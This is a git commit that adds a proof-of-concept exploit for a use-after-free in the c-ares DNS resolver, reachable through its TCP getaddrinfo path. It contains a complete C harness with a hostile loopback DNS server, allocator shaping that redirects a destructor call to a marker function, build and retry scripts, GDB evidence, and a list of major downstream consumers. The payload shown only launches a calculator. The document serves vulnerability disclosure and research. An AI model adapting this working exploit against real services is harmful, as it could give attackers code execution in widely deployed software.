Add c-ares TCP UAF calc PoC

This commit is contained in:
ashton
2026-06-24 02:37:01 -05:00
parent 1956b7a8c5
commit 54b5a881ea
8 changed files with 817 additions and 1 deletions

View File

@@ -10,6 +10,7 @@ Most folders contain one of my former standalone PoC repos, preserved with its o
| --- | --- | ---: |
| `7zip-rar5-motw-chain-poc` | `bd9533f532c1e4ee6af783b9bb49d1133c600e2c` | 3 |
| `anydesk-printer-com-impersonation-poc` | `7491303301093b2d40bee9dadf6b38f757ce78e0` | 4 |
| `c-ares-tcp-uaf-calc-poc` | direct entry, June 24, 2026 | 7 |
| `docker-cp-copyout-destination-escape` | `d1367b1381736d7f961ac808ce88d4e24a633adc` | 5 |
| `floci-apigateway-vtl-rce-poc` | direct entry, June 23, 2026 | 3 |
| `flowise-mcp-env-case-bypass-poc` | `ed9fab0086674f1b16467990b33bb9299e93429e` | 3 |
@@ -42,4 +43,4 @@ Matching Git blob IDs means the tracked file bytes are identical. The check cove
This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history are not represented inside the folders.
Direct entries, including `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `nmap-ipv6-extlen-wrap-poc`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are authored in this repository and are tracked by this repository's commit history.
Direct entries, including `c-ares-tcp-uaf-calc-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `nmap-ipv6-extlen-wrap-poc`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history.

View File

@@ -0,0 +1,217 @@
# c-ares TCP `ares_getaddrinfo()` UAF calc PoC
This directory contains a local, benign calculator proof for a c-ares TCP resolver use-after-free in the `ares_getaddrinfo()` path.
The PoC drives c-ares through a loopback DNS-over-TCP server, shapes the freed c-ares allocation through the public `ares_library_init_mem()` allocator hook, and demonstrates that cleanup reaches an attacker-shaped indirect call:
```text
ares_slist_node_destroy(node)
-> node->parent->destruct(node->data)
-> proof_marker()
```
The marker writes a proof file under `/tmp` and attempts to start a local calculator. On WSL it starts Windows Calculator. On Linux desktops it tries common calculator binaries.
## Status
Disclosure status: privately reported upstream; publication permitted while a fix is being staged.
Verified targets:
| Target | Commit | Result |
| --- | --- | --- |
| c-ares upstream `main` | `c93e50f3ebc0373fe57677523ec960f6c1cb0e15` | calculator proof reached |
| c-ares latest official release `v1.34.6` | `3ac47ee46edd8ea40370222f91613fc16c434853` | calculator proof reached |
This is a local proof harness, not a universal exploit for every application that links c-ares. It demonstrates controlled code execution in the harness when the affected c-ares path, response sequence, allocator shaping, and cleanup path are present.
## Files
- `poc/cares_tcp_uaf_calc_poc.c` - standalone C proof harness and benign calc payload.
- `scripts/build_from_checkout.sh` - builds c-ares from a supplied checkout and links the PoC against the resulting static library.
- `scripts/run_until_hit.sh` - retries the probabilistic heap-layout proof until the marker path lands.
- `evidence/main-c93e50f3-gdb.txt` - sanitized GDB stack for upstream `main`.
- `evidence/v1.34.6-gdb.txt` - sanitized GDB stack for `v1.34.6`.
- `evidence/local-verification.txt` - local calculator and marker verification transcript.
## Vulnerability Shape
The reproduced path uses:
- API: `ares_getaddrinfo()`
- Transport: DNS over TCP
- Channel flags: `ARES_FLAG_EDNS | ARES_FLAG_USEVC`
- Lookup mode: DNS only (`opts.lookups = "b"`)
- Response behavior:
- accept a TCP DNS query;
- return two responses for the same query id in one read;
- first response is `FORMERR` without OPT data, causing EDNS retry handling;
- second response is a successful empty response for the same query id;
- accept the retry write;
- reset the TCP connection before the next internal lookup write.
The stale state is later consumed during query cleanup. In the control-flow proof, the stale `ares_query_t.node_queries_by_timeout` pointer is made to reference a shaped skip-list node. c-ares then calls the node parent list destructor, reaching the local marker function.
The GDB evidence shows the useful call chain:
```text
proof_marker()
ares_slist_node_destroy()
ares_query_remove_from_conn()
ares_detach_query()
ares_free_query()
read_answers()
process_read()
ares_process()
main()
```
## Build
Build against current upstream `main`:
```bash
git clone --depth 1 https://github.com/c-ares/c-ares.git /tmp/c-ares-main
./scripts/build_from_checkout.sh /tmp/c-ares-main /tmp/c-ares-main-build ./cares_tcp_uaf_calc_poc
```
Build against the latest release tag:
```bash
git clone --depth 1 --branch v1.34.6 https://github.com/c-ares/c-ares.git /tmp/c-ares-v1.34.6
./scripts/build_from_checkout.sh /tmp/c-ares-v1.34.6 /tmp/c-ares-v1.34.6-build ./cares_tcp_uaf_calc_poc
```
Dependencies:
- Linux or WSL
- `gcc`
- `cmake`
- `git`
- POSIX sockets and pthreads
The build script links a static PoC binary against the static `libcares.a` produced from the supplied checkout.
## Run
```bash
chmod +x ./cares_tcp_uaf_calc_poc
./scripts/run_until_hit.sh ./cares_tcp_uaf_calc_poc
```
Expected success:
```text
CARES_RCE_PAYLOAD_TRIGGERED
run=N rc=77
c-ares control-flow payload reached pid=...
```
The proof writes:
```text
/tmp/cares_rce_proof_latest
```
Calculator launch order:
1. WSL Windows Calculator through `/mnt/c/Windows/System32/calc.exe`
2. WSL Windows Calculator through `cmd.exe /c start "" calc.exe`
3. `xcalc`
4. `gnome-calculator`
5. `kcalc`
If no GUI calculator is available, the marker file is still the reliable proof signal.
## Reliability
The control-flow path is heap-layout sensitive. A clean run can exit normally with `rc=0`, so the helper script retries. Local verification landed quickly:
```text
upstream main c93e50f3: run=1 rc=77
v1.34.6 release: run=1 rc=77
```
A miss does not necessarily mean the target is fixed. Use the GDB evidence mode or retry loop when validating.
## Why this is code execution and not only a crash
The proof does not stop at a poisoned pointer crash. It shapes the stale pointer so that c-ares reaches a valid function pointer call through its own internal destructor mechanism. The payload is a benign local marker:
```text
node->parent->destruct(node->data)
```
In the PoC, `destruct` points at `proof_marker()`. GDB confirms instruction pointer control at the marker and shows c-ares frames directly below it.
## Limits
This PoC intentionally uses c-ares' supported allocator hook to make the control-flow condition reproducible in a local harness. Real application exploitability depends on:
- whether the application uses the affected `ares_getaddrinfo()` path;
- whether DNS over TCP and EDNS retry behavior are reachable;
- whether attacker-controlled DNS responses can drive the required sequence;
- allocator behavior and heap layout in the target process;
- process mitigations, sandboxing, and restart model;
- whether the target statically bundles c-ares or dynamically links the system library.
Do not treat this source as a drop-in exploit for every c-ares consumer. Treat it as proof that the affected c-ares state machine can be driven from stale object cleanup into a controlled indirect call under the demonstrated conditions.
## Reach
c-ares is a low-level asynchronous DNS resolver, so the practical reach is larger than a single command-line tool. A vulnerable c-ares release may appear as a system shared library, a vendored static dependency, or a package-manager dependency. Whether a specific product is affected still requires confirming its bundled c-ares version and whether it exercises the vulnerable API/options.
Major consumers and ecosystems to check:
- **Node.js** - Node has historically bundled c-ares under `deps/cares` and labels c-ares/c-ares-wrap work as part of its DNS dependency surface. Node security releases have previously patched bundled c-ares vulnerabilities. Check the specific Node release and DNS API path.
- **gRPC** - gRPC documents the `ares` DNS resolver as the default on most platforms when built with c-ares support. Services using gRPC client-side DNS resolution should check whether their build enables the c-ares resolver.
- **Envoy Proxy** - Envoy documents c-ares as its default DNS resolution library and exposes c-ares DNS resolver configuration. This matters for proxies, gateways, and service-mesh deployments with dynamic DNS clusters.
- **curl/libcurl** - c-ares was originally created to provide asynchronous name resolution for curl. libcurl builds can use c-ares as one asynchronous DNS backend; whether a given curl build uses it depends on build flags and platform packaging.
- **Wireshark** - Wireshark release notes and build files identify c-ares as a required dependency for asynchronous DNS name resolution in captures.
- **Python async DNS stacks** - Tornado documents `tornado.platform.caresresolver` as a resolver using c-ares through `pycares`. Other Python packages such as `pycares` and `aiodns` may bring c-ares into applications.
- **Rust wrappers** - crates such as `c-ares` and higher-level resolver wrappers expose c-ares to Rust applications.
- **C/C++ package managers** - c-ares is packaged through Conan, vcpkg, Linux distributions, BSD ports, Homebrew-style package repositories, and similar dependency managers. Static consumers may remain vulnerable even after the system package is updated.
Operationally, good triage questions are:
```bash
ldd /path/to/binary | grep -i cares
readelf -d /path/to/binary | grep -i cares
strings /path/to/binary | grep -i 'c-ares\\|libcares\\|ares_getaddrinfo'
```
On macOS:
```bash
otool -L /path/to/binary | grep -i cares
```
On Windows, inspect loaded modules or imports for `cares.dll`, `libcares.dll`, or statically linked c-ares symbols.
## Mitigation Notes
The correct mitigation is to apply the upstream c-ares fix once available and rebuild/redeploy all static consumers. Dynamic consumers need the patched shared library and a process restart. Static consumers need a product rebuild even if the operating system package has been fixed.
Short-term risk reducers, where compatible with the application, include:
- avoid forcing DNS over TCP for untrusted resolver paths;
- avoid resolver configurations where attacker-controlled DNS servers can drive application lookups;
- sandbox processes that perform resolver work;
- monitor for crashes or abnormal exits in DNS-heavy services;
- inventory static c-ares copies in language runtimes and appliances.
## References
- c-ares project: https://c-ares.org/
- c-ares releases: https://c-ares.org/download/
- c-ares GitHub: https://github.com/c-ares/c-ares
- gRPC resolver docs: https://grpc.github.io/grpc/cpp/md_doc_environment_variables.html
- Envoy DNS resolution docs: https://www.envoyproxy.io/docs/envoy/latest/intro/arch_overview/upstream/dns_resolution
- Envoy c-ares resolver API: https://www.envoyproxy.io/docs/envoy/latest/api-v3/extensions/network/dns_resolver/cares/v3/cares_dns_resolver.proto
- Tornado c-ares resolver docs: https://www.tornadoweb.org/en/stable/caresresolver.html
- Wireshark 3.4.0 release notes: https://www.wireshark.org/docs/relnotes/wireshark-3.4.0.html
- Node.js c-ares security update example: https://nodejs.org/en/blog/vulnerability/july-2017-security-releases
## Responsible Use
Run this PoC only against local research targets, owned systems, or explicitly authorized lab and CTF environments.

View File

@@ -0,0 +1,14 @@
c-ares upstream main
commit: c93e50f3ebc0373fe57677523ec960f6c1cb0e15
result: run=1 rc=77
stderr: CARES_RCE_PAYLOAD_TRIGGERED
marker: c-ares control-flow payload reached pid=6188
desktop: CalculatorApp.exe started, ApplicationFrameHost title=Calculator
c-ares latest official release
tag: v1.34.6
commit: 3ac47ee46edd8ea40370222f91613fc16c434853
result: run=1 rc=77
stderr: CARES_RCE_PAYLOAD_TRIGGERED
marker: c-ares control-flow payload reached pid=3606
desktop: CalculatorApp.exe started, ApplicationFrameHost title=Calculator

View File

@@ -0,0 +1,18 @@
Target: c-ares upstream main
Commit: c93e50f3ebc0373fe57677523ec960f6c1cb0e15
Thread 1 "cares_tcp_uaf_" hit Breakpoint 1, proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64
#0 proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64
#1 0x0000000000418273 in ares_slist_node_destroy (node=0x5444b0) at c-ares-main/src/lib/dsa/ares_slist.c:461
#2 0x0000000000409606 in ares_query_remove_from_conn (query=0x52daf0) at c-ares-main/src/lib/ares_process.c:72
#3 0x000000000040bd1f in ares_detach_query (query=0x52daf0) at c-ares-main/src/lib/ares_process.c:1474
#4 0x000000000040be2c in ares_free_query (query=0x52daf0) at c-ares-main/src/lib/ares_process.c:1512
#5 0x000000000040a78c in read_answers (conn=0x52f830, now=0x7fffffffdee0) at c-ares-main/src/lib/ares_process.c:656
#6 0x000000000040a86d in process_read (channel=0x528ab0, read_fd=3, now=0x7fffffffdee0) at c-ares-main/src/lib/ares_process.c:688
#7 0x0000000000409a68 in ares_process_fds_nolock (channel=0x528ab0, events=0x530360, nevents=1, flags=0) at c-ares-main/src/lib/ares_process.c:214
#8 0x0000000000409fdb in ares_process (channel=0x528ab0, read_fds=0x7fffffffe0b0, write_fds=0x7fffffffe130) at c-ares-main/src/lib/ares_process.c:367
#9 0x000000000040324c in main (argc=2, argv=0x7fffffffe318) at poc/cares_tcp_uaf_calc_poc.c:488
rip 0x401d8b 0x401d8b <proof_marker+22>
rdi 0x544440 5522496

View File

@@ -0,0 +1,19 @@
Target: c-ares latest official release
Tag: v1.34.6
Commit: 3ac47ee46edd8ea40370222f91613fc16c434853
Thread 1 "cares_tcp_uaf_" hit Breakpoint 1, proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64
#0 proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64
#1 0x00000000004180c5 in ares_slist_node_destroy (node=0x5444b0) at c-ares-v1.34.6/src/lib/dsa/ares_slist.c:461
#2 0x00000000004095e7 in ares_query_remove_from_conn (query=0x52dad0) at c-ares-v1.34.6/src/lib/ares_process.c:73
#3 0x000000000040bd0f in ares_detach_query (query=0x52dad0) at c-ares-v1.34.6/src/lib/ares_process.c:1460
#4 0x000000000040be1c in ares_free_query (query=0x52dad0) at c-ares-v1.34.6/src/lib/ares_process.c:1498
#5 0x000000000040a818 in read_answers (conn=0x52f810, now=0x7fffffffdee0) at c-ares-v1.34.6/src/lib/ares_process.c:655
#6 0x000000000040a8e0 in process_read (channel=0x528ab0, read_fd=3, now=0x7fffffffdee0) at c-ares-v1.34.6/src/lib/ares_process.c:691
#7 0x0000000000409b32 in ares_process_fds_nolock (channel=0x528ab0, events=0x5303a0, nevents=1, flags=0) at c-ares-v1.34.6/src/lib/ares_process.c:227
#8 0x000000000040a0a5 in ares_process (channel=0x528ab0, read_fds=0x7fffffffe0b0, write_fds=0x7fffffffe130) at c-ares-v1.34.6/src/lib/ares_process.c:380
#9 0x000000000040324c in main (argc=2, argv=0x7fffffffe318) at poc/cares_tcp_uaf_calc_poc.c:488
rip 0x401d8b 0x401d8b <proof_marker+22>
rdi 0x544440 5522496

View File

@@ -0,0 +1,495 @@
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <unistd.h>
#include "ares.h"
typedef struct {
int port;
int ready_fd;
int udp_start;
} server_ctx_t;
typedef struct tracked_hdr {
size_t size;
uint64_t magic;
struct tracked_hdr *next;
uint64_t pad;
} tracked_hdr_t;
typedef void (*proof_destructor_t)(void *);
typedef struct proof_slist {
void *rand_state;
unsigned char rand_data[8];
size_t rand_bits;
void *head;
size_t levels;
void *tail;
void *cmp;
proof_destructor_t destruct;
size_t cnt;
} proof_slist_t;
typedef struct proof_slist_node {
void *data;
struct proof_slist_node **prev;
struct proof_slist_node **next;
size_t levels;
proof_slist_t *parent;
} proof_slist_node_t;
static int use_poison_allocator;
static int trace_allocator;
static int reuse_144;
static int control_call;
static unsigned char poison_byte = 0x43;
static tracked_hdr_t *free144;
static size_t alloc_seq;
static proof_slist_t *proof_list;
static proof_slist_node_t *proof_node;
static void proof_marker(void *arg)
{
const char msg[] = "CARES_RCE_PAYLOAD_TRIGGERED\n";
const char cmd[] =
"proof=/tmp/cares_rce_proof_${PPID}; "
"printf 'c-ares control-flow payload reached pid=%s\\n' \"$$\" > \"$proof\"; "
"ln -sf \"$proof\" /tmp/cares_rce_proof_latest 2>/dev/null || true; "
"if [ -x /mnt/c/Windows/System32/cmd.exe ]; then "
" /mnt/c/Windows/System32/calc.exe >/dev/null 2>&1 || "
" /mnt/c/Windows/System32/cmd.exe /c start \"\" calc.exe >/dev/null 2>&1; "
"elif [ -x /mnt/c/Windows/System32/calc.exe ]; then "
" /mnt/c/Windows/System32/calc.exe >/dev/null 2>&1; "
"elif command -v xcalc >/dev/null 2>&1; then "
" xcalc >/dev/null 2>&1 & "
"elif command -v gnome-calculator >/dev/null 2>&1; then "
" gnome-calculator >/dev/null 2>&1 & "
"elif command -v kcalc >/dev/null 2>&1; then "
" kcalc >/dev/null 2>&1 & "
"fi";
pid_t pid;
(void)arg;
write(STDERR_FILENO, msg, sizeof(msg) - 1);
pid = fork();
if (pid == 0) {
execl("/bin/sh", "sh", "-c", cmd, (char *)NULL);
_exit(127);
}
if (pid > 0) {
waitpid(pid, NULL, 0);
}
_exit(77);
}
static void *tracked_malloc(size_t size)
{
tracked_hdr_t *hdr;
if (reuse_144 && size == 144 && free144 != NULL) {
hdr = free144;
free144 = hdr->next;
hdr->next = NULL;
memset(hdr + 1, 0x52, size);
if (trace_allocator) {
fprintf(stderr, "ALLOC%zu reuse144 %p\n", ++alloc_seq, (void *)(hdr + 1));
}
return hdr + 1;
}
hdr = (tracked_hdr_t *)malloc(sizeof(*hdr) + size);
if (hdr == NULL) {
return NULL;
}
hdr->size = size;
hdr->magic = 0xc0decafef00dbeefu;
hdr->next = NULL;
memset(hdr + 1, 0x55, size);
if (trace_allocator && size == 144) {
fprintf(stderr, "ALLOC%zu size144 %p\n", ++alloc_seq, (void *)(hdr + 1));
}
return hdr + 1;
}
static void ensure_proof_node(void)
{
if (proof_list != NULL && proof_node != NULL) {
return;
}
proof_list = (proof_slist_t *)tracked_malloc(sizeof(*proof_list));
proof_node = (proof_slist_node_t *)tracked_malloc(sizeof(*proof_node));
if (proof_list == NULL || proof_node == NULL) {
abort();
}
memset(proof_list, 0, sizeof(*proof_list));
memset(proof_node, 0, sizeof(*proof_node));
proof_list->destruct = proof_marker;
proof_list->cnt = 1;
proof_node->data = proof_list;
proof_node->levels = 0;
proof_node->parent = proof_list;
}
static void tracked_free(void *ptr)
{
tracked_hdr_t *hdr;
if (ptr == NULL) {
return;
}
hdr = ((tracked_hdr_t *)ptr) - 1;
if (hdr->magic != 0xc0decafef00dbeefu) {
abort();
}
if (trace_allocator && hdr->size == 144) {
fprintf(stderr, "FREE size144 %p\n", ptr);
}
if (control_call && hdr->size == 144) {
ensure_proof_node();
memset(ptr, 0, hdr->size);
memcpy((unsigned char *)ptr + 48, &proof_node, sizeof(proof_node));
} else {
memset(ptr, poison_byte, hdr->size);
}
if (reuse_144 && hdr->size == 144) {
hdr->next = free144;
free144 = hdr;
}
}
static void *tracked_realloc(void *ptr, size_t size)
{
tracked_hdr_t *old_hdr;
void *new_ptr;
size_t copy_len;
if (ptr == NULL) {
return tracked_malloc(size);
}
if (size == 0) {
tracked_free(ptr);
return NULL;
}
old_hdr = ((tracked_hdr_t *)ptr) - 1;
if (old_hdr->magic != 0xc0decafef00dbeefu) {
abort();
}
new_ptr = tracked_malloc(size);
if (new_ptr == NULL) {
return NULL;
}
copy_len = old_hdr->size < size ? old_hdr->size : size;
memcpy(new_ptr, ptr, copy_len);
tracked_free(ptr);
return new_ptr;
}
static void load_poison_byte(void)
{
const char *env = getenv("CARES_PROOF_POISON_BYTE");
char *end = NULL;
unsigned long value;
if (env == NULL || *env == '\0') {
return;
}
value = strtoul(env, &end, 0);
if (end != env && value <= 255) {
poison_byte = (unsigned char)value;
}
trace_allocator = getenv("CARES_PROOF_TRACE_ALLOC") != NULL;
}
static int read_exact(int fd, unsigned char *buf, size_t len)
{
size_t off = 0;
while (off < len) {
ssize_t n = recv(fd, buf + off, len - off, 0);
if (n <= 0) {
return -1;
}
off += (size_t)n;
}
return 0;
}
static size_t question_len(const unsigned char *msg, size_t len)
{
size_t pos = 12;
if (len < pos) {
return 0;
}
while (pos < len && msg[pos] != 0) {
unsigned int l = msg[pos++];
if (l > 63 || pos + l > len) {
return 0;
}
pos += l;
}
if (pos + 5 > len) {
return 0;
}
return pos + 5 - 12;
}
static size_t make_dns(unsigned char *out, const unsigned char *query,
size_t query_len, unsigned char high_flags,
unsigned char low_flags, int tcp)
{
size_t qlen = question_len(query, query_len);
size_t dns_len = 12 + qlen;
size_t off = tcp ? 2 : 0;
if (qlen == 0) {
return 0;
}
if (tcp) {
out[0] = (unsigned char)(dns_len >> 8);
out[1] = (unsigned char)(dns_len & 0xffu);
}
out[off + 0] = query[0];
out[off + 1] = query[1];
out[off + 2] = high_flags;
out[off + 3] = low_flags;
out[off + 4] = 0;
out[off + 5] = 1;
out[off + 6] = 0;
out[off + 7] = 0;
out[off + 8] = 0;
out[off + 9] = 0;
out[off + 10] = 0;
out[off + 11] = 0;
memcpy(out + off + 12, query + 12, qlen);
return off + dns_len;
}
static void *server_thread(void *arg)
{
server_ctx_t *ctx = (server_ctx_t *)arg;
int s = -1;
int u = -1;
int c = -1;
struct sockaddr_in sin;
struct sockaddr_in peer;
socklen_t slen;
socklen_t plen;
unsigned char hdr[2];
unsigned char query[4096];
unsigned char out[8192];
unsigned char retry[4096];
uint16_t qlen;
size_t n1;
size_t n2;
struct linger linger_opt;
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) {
return NULL;
}
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sin.sin_port = 0;
if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) != 0) {
close(s);
return NULL;
}
if (listen(s, 1) != 0) {
close(s);
return NULL;
}
slen = sizeof(sin);
if (getsockname(s, (struct sockaddr *)&sin, &slen) != 0) {
close(s);
return NULL;
}
ctx->port = ntohs(sin.sin_port);
if (ctx->udp_start) {
u = socket(AF_INET, SOCK_DGRAM, 0);
if (u < 0) {
close(s);
return NULL;
}
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sin.sin_port = htons((uint16_t)ctx->port);
if (bind(u, (struct sockaddr *)&sin, sizeof(sin)) != 0) {
close(u);
close(s);
return NULL;
}
}
write(ctx->ready_fd, "R", 1);
if (ctx->udp_start) {
plen = sizeof(peer);
ssize_t got = recvfrom(u, query, sizeof(query), 0,
(struct sockaddr *)&peer, &plen);
if (got > 0) {
n1 = make_dns(out, query, (size_t)got, 0x83, 0, 0);
if (n1 != 0) {
sendto(u, out, n1, MSG_NOSIGNAL, (struct sockaddr *)&peer, plen);
}
}
close(u);
}
c = accept(s, NULL, NULL);
if (c < 0) {
close(s);
return NULL;
}
if (read_exact(c, hdr, sizeof(hdr)) != 0) {
close(c);
close(s);
return NULL;
}
qlen = (uint16_t)(((unsigned int)hdr[0] << 8) | hdr[1]);
if (qlen > sizeof(query) || read_exact(c, query, qlen) != 0) {
close(c);
close(s);
return NULL;
}
n1 = make_dns(out, query, qlen, 0x81, 1, 1);
n2 = make_dns(out + n1, query, qlen, 0x81, 0, 1);
if (n1 != 0 && n2 != 0) {
send(c, out, n1 + n2, MSG_NOSIGNAL);
}
if (read_exact(c, hdr, sizeof(hdr)) == 0) {
qlen = (uint16_t)(((unsigned int)hdr[0] << 8) | hdr[1]);
if (qlen <= sizeof(retry)) {
read_exact(c, retry, qlen);
}
}
linger_opt.l_onoff = 1;
linger_opt.l_linger = 0;
setsockopt(c, SOL_SOCKET, SO_LINGER, &linger_opt, sizeof(linger_opt));
close(c);
close(s);
return NULL;
}
static void ai_cb(void *arg, int status, int timeouts,
struct ares_addrinfo *res)
{
int *done = (int *)arg;
(void)status;
(void)timeouts;
if (res != NULL) {
ares_freeaddrinfo(res);
}
*done = 1;
}
int main(int argc, char **argv)
{
int pipefd[2];
pthread_t tid;
server_ctx_t ctx;
ares_channel_t *channel = NULL;
struct ares_options opts;
struct ares_addrinfo_hints hints;
int optmask = ARES_OPT_FLAGS | ARES_OPT_LOOKUPS;
char server[64];
int done = 0;
int loops = 0;
char ch;
signal(SIGPIPE, SIG_IGN);
memset(&ctx, 0, sizeof(ctx));
if (argc > 1 && strcmp(argv[1], "udp") == 0) {
ctx.udp_start = 1;
}
if (argc > 1 && strcmp(argv[1], "poison") == 0) {
use_poison_allocator = 1;
}
if (argc > 1 && strcmp(argv[1], "reuse144") == 0) {
use_poison_allocator = 1;
reuse_144 = 1;
}
if (argc > 1 && strcmp(argv[1], "controlcall") == 0) {
use_poison_allocator = 1;
control_call = 1;
}
if (argc > 2 && strcmp(argv[2], "poison") == 0) {
use_poison_allocator = 1;
}
if (argc > 2 && strcmp(argv[2], "reuse144") == 0) {
use_poison_allocator = 1;
reuse_144 = 1;
}
if (argc > 2 && strcmp(argv[2], "controlcall") == 0) {
use_poison_allocator = 1;
control_call = 1;
}
load_poison_byte();
if (pipe(pipefd) != 0) {
return 2;
}
ctx.ready_fd = pipefd[1];
if (pthread_create(&tid, NULL, server_thread, &ctx) != 0) {
return 2;
}
if (read(pipefd[0], &ch, 1) != 1) {
return 2;
}
close(pipefd[0]);
close(pipefd[1]);
if (use_poison_allocator) {
if (trace_allocator) {
fprintf(stderr, "allocator mode poison=%02x reuse144=%d\n",
(unsigned int)poison_byte, reuse_144);
}
ares_library_init_mem(ARES_LIB_INIT_ALL, tracked_malloc, tracked_free,
tracked_realloc);
} else {
ares_library_init(ARES_LIB_INIT_ALL);
}
memset(&opts, 0, sizeof(opts));
opts.flags = ARES_FLAG_EDNS;
if (!ctx.udp_start) {
opts.flags |= ARES_FLAG_USEVC;
}
opts.lookups = (char *)"b";
if (ares_init_options(&channel, &opts, optmask) != ARES_SUCCESS ||
channel == NULL) {
return 2;
}
snprintf(server, sizeof(server), "127.0.0.1:%d", ctx.port);
if (ares_set_servers_ports_csv(channel, server) != ARES_SUCCESS) {
return 2;
}
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_INET;
ares_getaddrinfo(channel, "example.com", "80", &hints, ai_cb, &done);
while (!done && loops++ < 100) {
fd_set rfds;
fd_set wfds;
int nfds;
struct timeval tv;
struct timeval *tvp;
FD_ZERO(&rfds);
FD_ZERO(&wfds);
nfds = ares_fds(channel, &rfds, &wfds);
if (nfds == 0) {
break;
}
tvp = ares_timeout(channel, NULL, &tv);
select(nfds, &rfds, &wfds, NULL, tvp);
ares_process(channel, &rfds, &wfds);
}
ares_destroy(channel);
ares_library_cleanup();
pthread_join(tid, NULL);
return done ? 0 : 1;
}

View File

@@ -0,0 +1,32 @@
#!/usr/bin/env bash
set -euo pipefail
if [ "$#" -lt 2 ]; then
echo "usage: $0 /path/to/c-ares /path/to/build-dir [output-binary]" >&2
exit 2
fi
srcdir=$1
builddir=$2
out=${3:-cares_tcp_uaf_calc_poc}
jobs=${JOBS:-4}
root=$(cd "$(dirname "$0")/.." && pwd)
cmake -S "$srcdir" -B "$builddir" \
-DCARES_SHARED=OFF \
-DCARES_STATIC=ON \
-DCARES_BUILD_TESTS=OFF \
-DCARES_BUILD_TOOLS=OFF \
-DCMAKE_BUILD_TYPE=Debug
cmake --build "$builddir" --target c-ares --parallel "$jobs"
gcc -static -g -O0 -Wall -Wextra \
-I"$srcdir/include" \
-I"$builddir" \
"$root/poc/cares_tcp_uaf_calc_poc.c" \
"$builddir/lib/libcares.a" \
-pthread \
-o "$out"
file "$out"

View File

@@ -0,0 +1,20 @@
#!/usr/bin/env bash
set -euo pipefail
bin=${1:-./cares_tcp_uaf_calc_poc}
tries=${TRIES:-25}
rm -f /tmp/cares_rce_proof_*
for i in $(seq 1 "$tries"); do
set +e
"$bin" controlcall
rc=$?
set -e
echo "run=$i rc=$rc"
if [ "$rc" -eq 77 ]; then
break
fi
done
cat /tmp/cares_rce_proof_latest 2>/dev/null || true